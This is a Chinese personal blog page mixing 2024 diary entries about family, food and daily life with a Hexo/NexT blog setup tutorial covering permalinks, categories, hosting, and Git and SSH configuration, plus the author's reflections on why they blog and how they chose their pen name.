13:252024-01-03
腰疼，腿瘸。
同事总是把我煮滚的热水喝完，然后留下空空的热水壶。
2024-01-04
昨晚又做噩梦了。
2024-01-05
购买滴答清单会员的第二年：139 RMB/年。
午休时，梦见我昂贵 AirPods Pro 耳机掉进厕所里，然后惊醒了。
13:422024-01-06
所谓悲观，其实对应的是恐惧，那么看到的是风险。
所谓乐观，其实对应的是勇敢，那么看到的是机会。
如果用驾驶来形容，悲观是刹车，而乐观是油门。
路况好，视野好的时候，市场会奖励乐观者，悲观的人就会不断错失机会，眼睁睁看着别人不断前进，超越自己。
路况糟糕，视野受限的时候，乐观的人容易出现危险，而悲观的人更容易生存下来。
by caoz的梦呓
2024-01-07
今天和老婆去下馆子，吃的好饱。
2024-01-11
紫金八刀汤是广东河源紫金县的一道客家菜，是以黑麦草、番薯叶喂养的紫金蓝塘猪的八个部位为主要汤料，包括猪心、猪肝、猪肺、猪舌、猪粉肠、猪腰、隔山衣（一头猪的腰部到肺部之间的部位，是一条长而细的肉条，外表裹着一层白色肉膜）、前朝肉，各切一份，加入少许盐、胡椒粉、味精和山泉开水，闷煮 10 分钟即可。以前过年时杀猪，就会煮八刀汤给长辈喝，以示孝道。
在客家话中，刀是量词，一刀猪肉就是一块猪肉，但是多重并没有明确的规定。
2024-01-12
对韭当割，人生几何。
2024-01-14
老妈咳嗽二十多天了，一直不见好。今天早上还会尿频，社康医生说可能是因为生过小孩，盆底肌松弛，所以一咳嗽就会有尿意。血液检查结果显示白细胞和中性粒细胞偏高一点，所以是细菌感染，吃点抗生即可。
14:572024-01-17
这几天看完了连续剧《繁花》。我开始自称有腔调的宝总。
2024-01-20
香肠是一种肉气球。
喜欢吃辣椒的原因，恰恰是辣椒为了不被别人吃进化出的自我保护机制。
变胖的结果是挺让人不爽的，但变胖的过程可太爽了。
健身，其实是你在欺骗身体，让它以为自己过的很艰苦从而不得不变强壮的过程。
多年以来我一直嫌弃自己的长相，后来我才领悟到，其实我并不丑，我只是并非自己喜欢的类型罢了。
自信不是「大家一定会喜欢我的」，而是「就算你们不喜欢我也没事哈」。
什么都不 care 是抑郁症，什么都太 care 是焦虑症。
跟抑郁症患者说「身边有那么多爱你的人，你应该开心点才对呀」就像对一个哮喘患者说「身边有那么多氧气，你应该呼吸呀」。
婴儿落生后的第一声啼哭是人类的开机音效。
美国俄亥俄州（Ohio）的名字看上去就像一个大 O 在对小 o 打招呼。
「喝酒、发信息、开车」三件事情里，任意两两组合起来都会很糟糕。
糟糕的语法使用相当于是互联网时代的赛博口臭。
在短视频平台上无意义的划拉」是新一代年轻人版本的「看电视时无意义地不停用遥控器换台」。
以上段子摘录自微博「浴中奇思」。
2024-01-22
煮熟的鸡蛋，纵使剥壳后对半切开，放在微波炉里加热，还是会炸开。
2024-01-27
坐高铁去茂名参加老婆妹妹的婚礼。
13:00这场高州喜宴不仅填满了我们的胃口，更充盈了我们的感激之情：
- 愿你们的婚姻像这十三个菜一样，多姿多彩；
- 愿你们的爱情像这宴席一样，满满当当，甜甜蜜蜜；
- 愿你们的生活像今天这样，喜气洋洋，幸福满满！
祝福你们新婚快乐，康乐偕老！
2024-01-28
可爱的狗子🐶，长在树上的叶子 🍃，构成周末小日子🌞。
虽然庭庭（平平）无奇，但是通过 iPhone 15 Pro Max 的 5 倍光学变焦镜头，总能在白天拍出新意。
2024-02
2024-02-04
按照客家人传统习俗，第一次在夫君家过年，床头要放偶数的辣条，防止新娘子👰半夜饿了。
22:022024-02-05
在农村老家，公鸡不到六点钟 🕕 就啼叫了，然后伴随着阵阵鸟鸣声。
“一树梨花压海棠”是苏轼在北宋时期的一句诗，出自他与朋友张先的诗歌唱和。
这句诗实际上是用来调侃张先，当时张先已经80岁，却娶了一位18岁的美貌少女为妾。
苏轼在诗中写道：
十八新娘八十郎，
苍苍白发对红妆。
鸳鸯被里成双夜，
一树梨花压海棠。老汉的白发比喻成梨花，少女的红妆比喻成海棠。
所以“一树梨花压海棠”是用来调侃老夫娇妻，在新婚之夜享受鱼水之欢之景，形象地表达了年龄的差距，并且趣味横生。
客家美食薯包子，是把紫色的“参（shēn）薯”蒸熟后，加入肉末和虾米，接着捏成型，最后丢入油锅，稍等片刻，这个香草味的肉丸子将变得甘甜酥脆，趁热咬一口，便会在嘴里“炸”开，一个还没吃完，手却已经伸向了滚烫的油锅。
参薯的花青素可以让薯肉呈现紫色，并有浓郁的香味，所以“香芋”雪糕的主要原材料并不是芋头或者紫薯，而是参薯。
因为块茎可以长得比脚板还大，所以别名大薯（Greater Yam）或者脚板薯。表面生着许多根须，又有毛薯的别名。
拉丁学名是 Dioscorea alata L。“alata”源自拉丁语中的 alatus，意为有翼的（参薯通常有 4 条狭翅），所以英文别名为 Winged Yam（翼薯）。
参考资料：https://guokr.com/article/463903/
煎堆，“堆”正写作䭔（duī），饼也。
我家乡（广东东北部）这边的主要食材包括糯米粉、纯净水、白砂糖、花生碎和芝麻等，将其揉成团状，最后油炸至金黄酥脆。
别名有：
- 海南：珍袋（这个音译太妙了！）
- 闽东：马蛋或烰（fú）油
- 武汉：欢喜坨
- 台湾：芝麻球
- 东北：麻圆
- 华北：麻团
- 江浙：麻球
- 广西：油堆
祝大家：🍡 煎堆辘辘，金银满屋 🎉。
- 塘边梨花落如雪，河边细草细如茵。
- 莲子心中苦，梨儿腹内酸。（“莲”谐音“怜”，“梨”谐音“离”）
- 在逆境下生长的歪瓜裂枣口感更甜，因为逆境可能促使乙烯更快释放，将淀粉转化为可溶性糖类，因而口感会更甜。亲测，假的！
- 降温了，给香蕉披上保暖外套。
- 冷知识：小鸟不怕辣，因为它们的体内缺乏对辣椒素敏感的受体。
2024-02-06
酒糟配上五花肉，此生无悔来人间！
庭勃士照相馆开张啦，可拍摄：
- 个人照
- 亲子照
- 集体照
姿势自选，酒水自带。
龙年开业特惠价：
10 张 88 元，含午餐
100 张 666 元，含三餐
包年 9999 元，含大山一日游留影热线：156 2601 1326
活在当下，爱在千秋。捕捉感动，留住永恒。
2024-02-07
肚皮上的胖纹，是美食留下的涟漪。
🐯虎皮肉卷🫔
- 五花肉馅，不能太细，只能手剁或者肉丝机制作，这样才能保留猪肉原汁；
- 按照饮食喜好，加入佐料香菇和虾米提鲜；
- 加入蕉芋粉，增加肉丁粘性；
- 把肉馅放在腐竹皮里卷起来；
- 只要在油锅里炸十分钟左右，焦香，肉香，油脂香，便香飘满屋。偷吃五根，都觉得不过分。
2024-02-09
祝小舅在新的一年数钱数到手抽筋，睡觉睡到自然醒，找到好工作，指定大发财。by PS
小舅祝你一帆风顺，二人腾飞三阳开，四季平安，五福临门，六六都是七星八照，七星高照，八方来财，九九同心，十全十美，万事如意，早生贵子。by PY
亲爱的庭哥，自从第一次无意发现了博客，认识了庭哥，加入了群聊，就像来到了一片新的天地一般，虽平时默默无闻，但受到了很多的影响，获益颇多，感受到了独一无二的自由、互助、分享和不断进步的氛围。正值新春佳节，祝福庭哥及家人新年快乐，身体健康，顺心顺意，博客和社群越办越好！by K!ng
2024-02-10
老婆洗澡不开浴霸的理由是怕被晒黑。
2024-02-11
“龙”不应该翻译成 dragon。
Dragon 的本意是凶残的有翼巨兽、恶魔、悍妇等。中国人在外国人面前自称 dragon，是自我妖魔化。
“龙”也不应该翻译成 long。Long 的英文发音不是“龙”，而是“狼”，这不是真正的音译。
“龙”应该翻译成 loong 🐲，它的发音和“龙”相近，在英文中本来就是“龙”字的音译，如著名武术家李小龙的英文名字是“Lee Siu Loong”。有些西方人也把龙称为 loong。
Loong 的两个“o”字母象龙的两只眼睛，loong 使人联想到 long（长长的龙🐉），所以它也是一个象形文字，和汉字特色相通。
来源：www.loong.cn
2024-02-13
一位长期在加拿大生活同村叔叔（65 岁）ZMZ 告诉我三个道理：
- 学会用钱
- 做人要忍
- 有责任心
2024-02-16
出发，返城。
03:552024-02-26
得失随缘，心无增减。
by《天龙八部》（2003 年）段誉。2024-02-29
稻盛和夫说：“唯有读书和赚钱，才是一个人最好
的修行，前者使人不惑，后者使人不屈。”2024-03
2024-03-05
今天 30 岁，下午喝了咖啡 ☕️，所有失眠了，就想着如何优化工作流程，
04:122024-03-16
幸福的三大要素是：有要做的事（something to do）、有要爱的人（someone to love）、有寄予希望的东西（something to hope for）。
2024-03-17
差不多两年没洗牙了，于是在美团 App 上找了一家附近老牌私立口腔医院 EM，已经在本地开了二十多年。洗牙团购券不贵，只要 40 元。
约了周六上午十点钟 🕙，等了十几分钟，洗牙十几分钟。医生说我的牙齿很健康，没有蛀牙，连智齿都很干净。只有两个小问题：
- 饭后除了使用牙线，还要漱口，因为里面的磨牙有点发黄；
- 在 2017 年之前，我还没有开始使用电动牙刷 🪥。而手动刷牙时，我用力横刷，导致牙龈处的牙釉质被刷出了小沟槽，所以吃太冷的食物时会感到微酸。可以补一补，只要几百元。也可以不处理。
深圳交警开始查电动二轮车走机动车道了。
2024-03-28
下班。
00:082024-03-30
Spotify 界面丑，Apple Music 界面好看，但是国语资源少，开始转向 Windows 本地音乐库。
洛雪音乐助手+ sixyin.com 音源：下载无损音乐，可以把封面嵌入，以及同时下载歌词。
MusicPlayer2：本地音乐播放器，把一些歌曲缺失封面和歌词补充齐。
- 博客 庭说 2017-07-17 00:00:00
是 Hexo + NexT 让我重拾笔杆子，感谢开发者们和维护者们。
🤖 YAML 教程
YAML 语言（/ˈjæməl/ ）的基本规则：
- 大小写敏感。
- 使用缩进表示层级关系。
- 缩进时不允许使用
Tab键，只允许使用空格。 - 缩进的空格数目不重要，只要相同层级的元素左侧对齐即可。
#表示注释，从这个字符一直到行尾，都会被解析器忽略。
🔧 优化 URL
默认的 URL 是
https://tingtalk.me/2019/08/17/Hexo使用技巧- 层级太深：斜杠太多不利于搜索引擎的抓取。
- 包含中文：URL 只能使用英文、数字和连字符（hyphen）
-。如果包含中文，分享出现的链接可能是https://tingtalk.me/2019/08/17/Hexo%E4%BD%BF%E7%94%A8%E6%8A%80%E5%B7%A7，中文强制被转码成十六进制编码，又臭又长。
URL 很重要，确立 URL 之前要深思熟虑，一旦新文章发出后，请不要随意修改。
📂 以文件名称为 URL
修改站点配置文件
_config.yml的permalink（永久链接）为:name/。# URLpermalink: :name/把 Markdown 文档命名为
hexo-tips.md。---title: Hexo Tips date: 2019-08-17 categories: 博客 ---让 Hexo 更优雅的小技巧。<!-- more -->## Permalink - 不要用中文- 大写字母用小写字母代替- 删除所有特殊字符，只用连字符；连字符代替空格- 尽可能简短，删除 the、a、an、for、and、if 、or 等虚词优化之后的 URL 是
https://tingtalk.me/hexo-tips，简短有力，清晰明了。
⚙ 在 Front Matter 定义
不用修改站点配置文件
_config.yml的permalink（永久链接）permalink: :year/:month/:day/:title/。每次在文章的 Front Matter 中加上 permalink 字段，例如
hexo-tips/，就会 覆盖文章网址，无视站点配置文件的 permalink 设置。---title: Hexo Tips date: 2019-08-17 categories: 博客 permalink: hexo-tips/---如果 Hexo 版本在 5.0 以上，hexo-tips 后面一定要加上斜线 /。<!-- more -->正文。优化之后的 URL 是
https://tingtalk.me/hexo-tips。Front Matter 的 permalink 具有最高优先级，所以文件名是否一样，是否有中文，都没有关系。
以上 2 种设定 permalink 的方法，都可以在
_posts创建分类（category）文件夹，例如把hexo-tips.md放在_posts/website，方便管理文章。但 URL 中又不会包含 category，保持 URL 的简洁可爱。不推荐使用插件 hexo-abbrlink 生成唯一永久链接，一串无意义的数字让 URL 变得不可读且不方便记忆。而且每次分享文章时，都要打开博客才能把网址复制出来。
🔗 关联阅读
🔧 优化分类
在
站点 _config.yml的category_map增加一个博客: blog的分类---category_map: 教程: tutorials 日志: diaries 生活: life 科学上网: bypass-gfw 数字生活: digital-life 排版: typography 博客: blog在文章
Front Matter的categories:直接用中文分类名博客，就可以映射到https://tingtalk.me/categories/blog/---title: Hexo Tips date: 2019-08-17 categories: 博客 ---
如果不在
category_map定义博客: blog，分享出去的链接就会是https://tingtalk.me/categories/%E5%8D%9A%E5%AE%A2/，不雅观。🐞 半角标点
如何显示正确的英文半角标点符号，不被错误显示成中文全角标点符号，请在站点配置文件加上如下语句：
# Fix issue: halfwidth quotation marks rendered to fullwidth## Reference: https://github.com/hexojs/hexo/issues/1981#issuecomment-229309844marked: smartypants: false🔒 文章加密
你可能需要写一些私密的博客，通过密码验证的方式让人不能随意浏览。为了解决这个问题, 让我们有请 hexo-blog-encrypt。
但是解密速度好像差强人意，可能是因为我的电脑和手机性能不足的原因。
💾 托管服务器
🔺 Vercel
注册前，请把 GitHub 的
Primary email address改为非 QQ 邮箱，GitLab 或 Bitbucket 同理，否则Error:Sorry, we are unable to complete your signup.👉 Netlify
2020 年 10 月超限了，只好切换到 Vercel。
重定向：在 hexo 分支
source下新建netlify.toml文件：[[redirects]] from = "https://tingtalk.netlify.com/*" to = "https://tingtalk.me/:splat" status = 301 force = true部署之后，tingtalk.netlify.com 即可重定向至 tingtalk.me，有利于 SEO。
🗺️ 站点地图
- 安装 hexo-generator-seo-friendly-sitemap
- 向 Google Search Console 提交找点地图：https://tingtalk.me/
sitemap.xml
🔍 Local Search
hexo-generator-searchdb: Seach data generator plugin for Hexo.
📰 RSS
hexo-generator-feed: Feed generator for Hexo.
🖼️ 把图片放在
_postshexo-asset-link: Convert base-relative asset links to root-relative ones, so that user can insert assets like images in markdown way.
💚 修改 NexT
🖼️ 图片居中
最新的版本（Mimi）已默认居中，不必做以下设置。
- 在
hexo-site\source新建一个名为_data的文件夹。 - 把
hexo-site\themes/next/source/css/_schemes/Mist的_posts-expand.styl复制到_data，并把名字修改为styles.styl。 - 打开
_data的styles.styl，修改以下代码：.post-body img { margin: 0 auto; } - 打开主题配置文件
hexo-site\themes/next/_config.yml，取消对styles.styl的注释：custom_file_path: #head: source/_data/head.njk #header: source/_data/header.njk #sidebar: source/_data/sidebar.njk #postMeta: source/_data/post-meta.njk #postBodyEnd: source/_data/post-body-end.njk #footer: source/_data/footer.njk #bodyEnd: source/_data/body-end.njk #variable: source/_data/variables.styl #mixin: source/_data/mixins.styl style: source/_data/styles.styl
📖 阅读时长
hexo-symbols-count-time: Symbols count and time to read of articles plugin for Hexo.
⚡️ quicklink
quicklink: Faster subsequent page-loads by prefetching in-viewport links during idle time
在 Front-matter 中写法是：
quicklink: enable🗞 Google AdSense
AdSense 代码：
<script data-ad-client="ca-pub-5917720111786469" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>参考资料：在 NexT 主题中接入 Google AdSense | Code Life
📡 连接 GitHub
先下载并安装 Git，然后
Win+S打开搜索，输入Git Bash，或者在电脑任意位置右键打开Git Bash，然后根据 GitHub 账号，修改下面的命令并复制到Git Bash，Enter：git config --global user.name "ting-talk"git config --global user.email "******@gmail.com"ssh-keygen -t rsa -C "******@gmail.com"出现：
Generating public/private rsa key pair.Enter file in which to save the key (/c/Users/***/.ssh/id_rsa):不用处理，直接 Enter：
Created directory '/c/Users/***/.ssh'.Enter passphrase (empty for no passphrase):不用处理，直接 Enter：
Enter same passphrase again:不用处理，直接 Enter：
Your identification has been saved in /c/Users/***/.ssh/id_rsaYour public key has been saved in /c/Users/***/.ssh/id_rsa.pubThe key fingerprint is:SHA256:FehU/******gwvkE+kkm7******96CaYSoFo+****** ******@gmail.comThe key's randomart image is:+---[RSA 3072]----+| +o..+ || . .o..o* + .||.. o . ..+ *o.+ o||E.o + . S ooo ||.o o . . .o o || . o.o.o || .. .oo |+----[SHA256]-----+登录 GitHub，依次点击右上角的头像 -
Settings-SSH and GPG keys-New SSH key：Title自定义即可。在
Git Bash输入：cat ~/.ssh/id_rsa.pub左键复制结果，粘贴在
Key里，最后点击Add SSH key。在
Git Bash输入：ssh -T git@github.comEnter：
The authenticity of host 'github.com (13.229.188.59)' can't be established.RSA key fingerprint is SHA256:nThbg6******WGl7E1IGOCspRomTxdCARLviKw6E5SY8.Are you sure you want to continue connecting (yes/no/[fingerprint])?输入
yes，Enter：Hi ting-talk! You've successfully authenticated, but GitHub does not provide shell access.如果有你的 GitHub 用户名（
Hi ting-talk!），则代表与 GitHub 连接成功。More Tips：不想使用全局用户？教你为 Hexo 博客单独配置指定的 git 用户 | Hui-Shao's Blog
🚀 推送到 GitHub
在博客文件夹，右键打开
Git Bash，复制以下命令（可能要删除主题的.git）：git init添加远程仓库：
git remote add origin git@github.com:ting-talk/blog.git克隆远程仓库：
git clone git@github.com:ting-talk/blog.git推送：
git add .git commit -m "first push"git push origin master嫌麻烦的话，就借助脚本推送更新吧。
脚本一
- 在博客文件里，右键新建文本文档；
- 输入
git add . && git commit -m '更新' && git push origin master，保存，退出； - 把后缀
.txt改为.gh，文件名自己定义，例如git-push.sh。
脚本二
- hexo.sh：此脚本可以很方便执行各种 hexo 命令，开启后会一直保持会话，随时输入简短的命令去执行一系列操作，提高效率。
本地分支强制覆盖远程分支：
git push origin master --force🎸 博客搭建
🍊 Gridea
一个静态博客写作客户端：适合喜欢安安静静写博客的人。
👨💻 Easy Hexo
轻松入门 Hexo：适合喜欢折腾博客的人。
- 博客 庭说 2017-07-17 00:00:00
我有时，会张开双臂拥抱世界，在精神上与我有相似思考和感触的读者隔空击掌。有时，我只想一个人。这个博客，就是我一个人的精神角落，用来承载我那无处安放的热情、趣味和好奇心。
人生的意义也不在于你过了多少日子，而在于你记得多少日子。而博客是一个绝佳的记录载体，我可以这个精神角落，我可自由地表达想说的话。
从 2016 年 4 月 29 日开始，我正式在庭说的公众号（2020 年 4 月 8 日被永久封号）写作，但是个人订阅号推送后不支持修改，也不能插入外链。
所以 2017 年毕业后，我搭建了这个更自由的自留地，满足我勃起的好奇心和泛滥的表达欲，并把接触到的这些新东西，以一种更优美的形态固定下来 。
Blog = Book (书) + log (日志)，中文叫博客。
通过博客，我的思想和主张可以被更多志同道合的人搜索到，而不是仅仅局限于微信这座「孤岛」。
博客大事记
2017 年 7 月 17 日
使用 Hexo 在 GitHub Pages 建立博客tingstory.github.io，现在已弃用。2017 年 11 月 7 日
在 Godaddy 购买了域名：tingtalk.me，一年 14 美元左右。域名含义是「庭说，写自己的故事」。2017 年 12 月 13 日
图床从七牛迁移到新浪，全站使用 HTTPS（超文本传输安全协议），确保读者与博客之间所传递的数据，是被加密且完整的。2019 年 10 年 10 日
域名 Godaddy 转移到 NameSilo，价格是一年 13.15 美元。2020 年 4 月 04 日
博客在中国大陆被「墙」了 ，终于不用处心积虑地想谐音词了，例如番茄是翻墙的意思。但我不会停止创作，庭说不会停说。2020 年 4 月 18 日
庭勃士（Dr_Ting）做客 TSBBLOG，讲述博客背后的故事。
对写作的要求
- 争取在内容上有种，有料，有信息量，并且尽可能原创。
- 放射性元素的原子核有半数发生衰变时所需要的时间，叫半衰期（Half-life）。而 信息的半衰期 指的是，一半的信息量变得无关紧要或者彻底过时所需的时间。所以尽量写一些半衰期比较长的内容 ，这样有利于提高内容的使用价值，也是提高创作者的劳动价值。二爷（邱岳）也说过：「在我看来，好的文字应该是长命的，缓释的价值越多，文字越高级。高级的文字并不着力于哗众取宠的爆发，而是有与众不同的角度和观点。我们会本能的高估短期，而低估长期，文字的价值如是，生活工作也是。」。
前辈们的话
创作是一件开心的事情，沉浸只是因为纯粹的灵感。我希望自己的生命能够时常充满灵感，而文字就是这些愉快时光曾经存在过的证明。by Livid（刘昕）
把自己的思想写下来（不管在信中或是用别的方式），比光在脑中空想是大不同的。写下来需要正确精密的思想，所以写在纸上的自我检讨，格外深刻，对自己也印象深刻。by 傅雷
愿文字带我们穿越时光，连接过去，遥想未来。by 纯纯写作
靡不有初，鲜克有终。坚持下去，你生活中的点点滴滴都会在这里留下痕迹，你可以一直写到老去的那一天……by 麦子
用整体性的视角观察当代社会、技术文化以及商业风景，对抗消费主义导向的论述，强调对技术与艺术的敏锐感受力、以及精神与肉体上的强健。by 一天世界
踏出校园走向社会后没多久，我们几个就意识到：无论工作本身多么有趣、多么符合你的性格和爱好，它也无法解决最基本的存在主义问题——如何活的有意义。更何况对很多人来说，工作本身离意义很遥远。资本主义中「职员」这个职能存在是为了填补市场创造的人力资源需求，而不是为了让个体时刻活得充满激情和意义；就算有时让你兴奋的东西恰好是工作需要的，保持这两条线重合也需要投入不少精力和管理。 于是我们每天晚上躺在床上脑子转个不停，每三天会出现一个新的 side gig 想法：不如去拍 Vlog？开一个美食专栏？去学 Python？去考几个 Certificates？去做瑜伽教练？开一个博客写行业报告？继续花时间做记者采编？ 然而想法归想法；按照牧歌的话说：万事只差 do it。小声喧哗的诞生大概就是一个 do it 的结果。by 小声喧哗 Loud Murmurs
I have seen the golden years of Chinese Internet and really miss them. That is why i want to have this Blog to recall the memory. 我所盼望的是自由、开放、多样、将人类相互连结的网络。by Mivansaka
🌍 世界很小，可以汇聚天涯知己。世界很大，可以容纳不同声音。by 任听播客
……打造一个有一定概率会发生意外好事情的生活系统。
不要觉得这句话非常难懂，实际上我们每个人都在生活中有意无意地采用了这种行为模式。比如，为什么很多人都喜欢往大城市跑？不管是北上广深，还是纽约伦敦旧金山，其实一个重要原因就是「大城市机会多」。而这种「大城市机会多」的表述本质上说的就是，在大城市你遇到某种意外好机会或者好的事情的概率是比小城市要高的。虽然我们在搬去大城市之前并不知道那件事到底是什么，但重点是先去。换个通俗的说法就是，先把自己放到那个抽奖池子里去。
实际上，当你进行各种各样的创作的时候，比如坚持写微博、坚持拍好的照片、坚持录播客、坚持让一些人持续的听到你的想法和声音......都是在给自己增加一种「意外好事发生」的概率。当你的作品被传播出去了，可能就会碰到一些志同道合的人，甚至某一天被某个重要的人听到，而他们就有可能给你带来新的视野、新的感受、新的机会，也许机缘巧合你就打开了一个新的世界。英语里有一个叫「serendipity」的词说的也是类似的情况。实际上我现在更倾向于认为，生活中真正的好事情基本都是不期而遇、意外发生的。只是这种看起来的偶然，本质上是一种必然的概率表现。
所以，这种「打造概率系统」的思路和「规划战略」思路最大的不同就是，后者往往需要有明确的取舍和目标，而前者只需要你把自己放置在一个正确的池子里，然后静静地等待好事发生。
当然，这种「意外好事发生」的概率必然是不高的，不过好在我们能用「一旦它发生那么好处就会很大」来弥补（这也正是「数学期望」的定义）。然而最关键的是，小概率起作用的条件是给它足够多的样本，只有一件事重复得多了，小概率才会逐渐发挥作用。所以这本质上是为什么我们要坚持、长期、反复地做一些最基本的东西，因为如果什么事情都浅尝辄止试一下就跑的话，那你其实是在和数学做对（work against the odds）。
最后，就让我用一个鸡汤小数学题来结束这条微博：现在我们假设，每天有一件很好的事发生在你身上的概率是 1%——换句话说就是这一天任何好事都没发生的概率是 99% 的话——你凭直觉觉得一年下来，你身上一件好事也没发生的概率是多少？答案是：2.5%。也就是说，哪怕你给自己放在一个「好事情只有 1% 的可能性会发生」的池子里，一年以后你也有 97.5% 的几率遇到一件很好的事。
Stay in the game, and don't work against the odds. by 张潇雨
因为我很喜欢写作，文字对我来说很重要，在写作的状态里，我是最舒适的，所以，其实不存在坚持这一说。坚持本身带有一些抵抗的意味，但我并没有，让我做别的，可能比保持写作的激情更困难吧。by《你是千堆雪我是长街》
Blog 写作这件事，我有对自己的几个个人要求，未必适合所有人，个人要求罢了：
- 道一以贯之。
- 至少在写作的时候，每一个字自己都是信的。
- 要努力做到自觉半年前写的东西是垃圾。
- 写作是我的兴趣爱好，不是职业。
- 不抱团跟风，不颂圣媚众，不跨界公知。
如今，公开写点东西，你要顾忌的东西太多。连我一个写行业评论不怎么愿意做公知的，都已经深深感到了一股刺骨的寒意。我甚至有时候会觉得，在今天还在写评论力保自己的号不丢文章不删，都是件很丢人的事。
安全第一下的政治正确、流量第一下的耸人听闻、转化第一下的带货指南、成本第一下的洗稿抄袭，互比谁的读者更无脑，一十三年 Blog 写作，写到今天世道成了这幅鬼样子，十三年前我建站之时，是无论如何想象不到的。夫复何言。by 魏武挥
我为什么写博客？自古皆死，不朽者文。by 大鹏
- 博客 庭说 2017-07-17 00:00:00
再小的个体，也有自己的品牌。by 微信公众平台。
Blog Name
- 我最初的网名叫「勤定钟生」，大概从初中用到大学。但是我变得越来越懒，例如基本不照镜子（睡眠舱也没有镜子），跟「勤」不搭边。
- 而，人的一生很长，你能决「定」的东西不多，能陪你到「钟生」的东西很少。
- 取什么名字好呢？不如，以不变应万变，还是用名字吧：「庭说」就是我的「钟」点站。
Logo
- 设计灵感来自
TingTalk 的首字母。 - 绿色的十六进制颜色码是
#019425（对应专色是 PANTONE 3522 C）。生机勃勃的庭勃士在 1994 年 1 月 25 日来到这个绿意盎然（鲜花盛开，春意盎然）的世界。 - 处处都是 4 px 的倍数，保证图像边缘的锐利。
Slogan
- 庭说目前的口号是
保持（勃起的）好奇心（已改为蓬勃的勃），英文翻译是 Follow your curiosity，因为我觉的好奇心应该和食欲和性欲一样，属于人类与生俱来的东西。保持好奇，刻意练习，每日精进。相应的，我的笔名叫庭勃士。但愿这句有点羞羞的标语没有冒犯到你。 - 在生活中最稀缺与最可贵的唯有两个东西，想象力与好奇心。希望你对世界抱有一颗不随年龄而衰减的好奇心，保持求知的状态。by 伊险峰（好奇心日报创始人）
- 好奇心的满足会比物质的满足带来更大的愉悦。by 思维实验室
- 我们生活的这个世界里，正在摧毁着个人的正直、勇气与好奇心。
- 不管几岁，好奇心万岁，好奇心是保持年轻的不老药。所以我认为自己是一个老男孩，在不含功利的好奇心的驱使下，每天都有「十万个为什么」，而这是探索世界最好的工具。
- 好奇心不是奢侈品，好奇心是日用品。
- 任何数字/事物的零次方是 1 ，然后都会归一，所以皈依。在数字世界里，有不计其数的角落需要我们去发掘，如同只猴子般保持好奇心，去探索发现，去重新进化成未来的人类。人类的悲喜并不互通，但读书是走向共同理解的捷径。by 扫地僧⁰
- 你对世界越好奇，世界认为你越有趣。
Pen Name
想一个独特且好记的网名/笔名，好难！
中文笔名
保持勃起（蓬勃）的好奇心，保持对生活的热情，所以我把笔名改成「庭勃士」。
英文笔名
勃士与博士（Doctor）同音，因此英文笔名是「Dr_Ting」 。发现了吗？这个英文名包含了一张哭脸
r_T，乐天派也免不了忧伤。Doctor 又有医生的意思，但我读的是工科专业，没能力在「碳基世界」的救死扶伤。但是，我可以在「数字世界」拯救来到庭说的读者。欢迎来到我的赛博空间（Cyberspace），希望我写的文章，对读者有所帮助，祝你网上冲浪快乐。
第一次改名
如果读者没有把「好奇心」作为中心词，那就会在言语上造成对读者的冒犯。此外，「勃」通「博」，但是涉猎广泛，导致知识杂乱，「吾生也有涯，而知也无涯。以有涯随无涯，殆已」。2020 年 6 月 26 日，笔名改为「小庭子」。而且自称勃士（博士），有点孤傲。放下 Bo 士的包袱，保持谦卑，不追求从 Dr_Ting 变成 Dr. Know（万事通博士），不追求「技多不压身」，找一个铁杵，慢慢磨成针。
第二次改名
2020 年 8 月 15 日，发现老读者们不改口，只好换回勃士，不过是蓬勃的勃（保持蓬勃的好奇心）。但是庭勃士过于露骨，换 Dr_Ting 上场。
To Be Continued…
- 博客 Jiajun的编程随想 2017-07-15 08:00:00《经典好书推荐(2017)》大学到现在还是看到了一些好书的，主要还是感谢豆瓣和亚马逊，但是上面的评论和自己实际看下来的感受还是有些差别的...
- 博客 Jiajun的编程随想 2017-07-11 08:00:00《Golang log库 源码阅读与分析》Golang的log库。。。还是太简单，简单瞄了一下实现，差不多就是这样：```go...
- 博客 Jiajun的编程随想 2017-07-02 08:00:00《毕业后一年》去年的这个点，约莫我已经打包回家了。记得我是倒数第二个走的，帮室友搬着东西，目送...
- 博客 EVILCOS 2017-06-27 10:28:16XSS’OR 开源了。采用 BSD 开源协议，很宽松，不限制传播与商业化，留下作者版权就好。在下面 […]
- 博客 Jiajun的编程随想 2017-06-22 08:00:00《ansible 简明教程》ini格式的配置文件大家都懂吧。先编写一个host文件例如...
- 博客 阳志平的网志 2017-06-18 08:00:00
1
心情有点低落。昨天下午，突然收到好友程老师发来的信息，一位朋友不幸因病于周六清晨去世。2014年5月，我发过一条纪念彼此友情的微博：
十年时间，当面深聊过的心理学站点负责人是蓝心网的杜；PsyTopic 的肖；还有早年华夏心理的刘。风吹雨打去，曾经的喧嚣都会淡掉。而不以心理学为宣传点的，心理学人做的卖性用品的，开幼儿园的，市值日益庞大。
这位朋友，是 PsyTopic 创始人肖，一位毕业于华东师大心理系的心理学人。当年，正是通过程老师的介绍，我得以认识这位才华横溢的同行。程老师以审美与思想著称，一直被我暗暗认为是朋友圈中最聪明的人。他极少给我引荐俗气的人，当他眉飞色舞谈起一位朋友，恨不得介绍我们马上认识时，我知道，这位新朋友，准是同类。他们的名字叫做——创造者。
2
今天心理学人毕业后，从事用户体验、产品经理等工作，屡见不鲜，而在十年前，却是稀罕。肖从心理系毕业后，投身IT业，离职后以独立设计师身份谋生。他业余创办的PsyTopci，致力于心理学科普，以他独特的审美，影响了当时不少心理学爱好者。
世事多变，多年未见，却是永别。
上次合作，还是汶川地震时期，我在地震当天下午，发起一个灾后心理自助组织，而肖则提供了精美的灾后心理自助手册彩页设计。在一周内，给灾区捐赠数万份。之后，又捐赠我组织各位心理学人联手编撰的《灾后心理自助手册》图书七万册。
上次见面，忘了是上海还是广州。那时，我还在经营一家心理测量公司。与其他专业毕业的学生不一样，心理系学生因为独特的知识结构，往往毕业多年后依然以曾经学过这个专业为荣。不少投身心理学行业发展的心理系学生，都是情怀大于商业。以肖的才华，同时在设计、编程与心理学三个领域的修养，投身任意一个当时热门的互联网公司，都可以获得高溢价，然而，他只是默默地设计、写稿、编程…….. 以一人之力维护着一个流量不小的心理学科普网站。
那时的我，同样如此。有感于中国心理学领域，骗子横行，伪科学流行，各路同行完全漠视国际通用的各类心理学家道德准则与行为规范，因此，我在2007年，发起了中国首届心理商业机构年会，广邀各路同行与会。在会上，将《心理学家的道德准则和行为规范》强制派发，并要求与会同行，签署《中国心理学从业者公约》。
